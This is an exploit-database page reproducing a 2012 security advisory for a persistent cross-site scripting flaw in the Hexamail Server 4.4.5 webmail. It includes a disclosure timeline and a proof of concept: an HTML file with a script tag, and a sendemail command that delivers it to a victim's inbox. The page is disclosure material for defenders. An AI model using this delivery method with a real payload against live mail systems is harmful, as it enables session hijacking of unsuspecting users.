Hexamail Server - exploit.company

vendor:

Hexamail Server

by:

modpr0be[at]Spentera, @modpr0be

8,8

CVSS

HIGH

Persistent XSS

CWE

Product Name: Hexamail Server

Affected Version From: 4.4.5

Affected Version To: 4.4.5

Patch Exists: NO

Related CWE: N/A

CPE: a:hexamail:hexamail_server

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP3, Windows 2003 SP2, Windows 7 SP1, Chrome 19.0.x, IE9, Safari 5.1.7

2012

Hexamail Server <= 4.4.5 Persistent XSS Vulnerability

Hexamail Server suffers persistent XSS vulnerability in the mail body, allowing malicious user to execute scripts in a victim’s browser to hijack user sessions, redirect users, and or hijack the user’s browser. By sending a malicious script to the victim email, the webmail automatically load the mail body, so the script will be automatically executed without permission from user.

Mitigation:

Not available.

Source

Exploit-DB raw data:

#Title: Hexamail Server <= 4.4.5 Persistent XSS Vulnerability
#Date: June 3, 2012
#Author: modpr0be[at]Spentera, @modpr0be
#URL: http://www.spentera.com
#Software URL:http://www.hexamail.com/download/hexamailserversetup4.4.5.002.exe
#Tested on
#       OS: Windows XP SP3, Windows 2003 SP2, Windows 7 SP1
#       Browser: Chrome 19.0.x, IE9, Safari 5.1.7

Software Description
====================
Hexamail provides intelligent email software solutions. Leveraging the latest 
advanced techniques, such as Bayesian matching, our products enable customers 
to eliminate email intrusions such as spam, malware, spyware, phishing attacks 
and virus.

Vulnerability Description
=========================
Hexamail Server suffers persistent XSS vulnerability in the mail body, allowing 
malicious user to execute scripts in a victim’s browser to hijack user sessions, 
redirect users, and or hijack the user’s browser.

Proof of concept
================
By sending a malicious script to the victim email, the webmail automatically 
load the mail body, so the script will be automatically executed without permission 
from user.

root@bt:~/# cat > meal.txt
<html>
<body>
<h1>XSS pop up</h1>
<script>alert('Hi, what is this?');</script>
</body>
</html>
root@bt:~/#

Send email to the victim:
root@bt:~/# sendemail -f bob@example.com -t david@example.com -xu bob@example.com \
-xp bob123 -u "Want some meal..?" -o message-file=meal.txt -s mail.example.com

Vendor timeline
===============
04/20/2012 - Issue discovered
04/20/2012 - Vendor contacted
04/27/2012 - Vendor respond and provides new upgrade version
04/30/2012 - Issue still affected on the latest upgrade version
04/30/2012 - Vendor said they still fixing the problem
05/10/2012 - Email sent to ask about the fix progress
06/02/2012 - No response. Advisory published.

Solution
============
Not available.

References
============
http://www.hexamail.com
http://www.spentera.com/2012/06/hexamail-server-4-4-5-persistent-xss-vulnerability/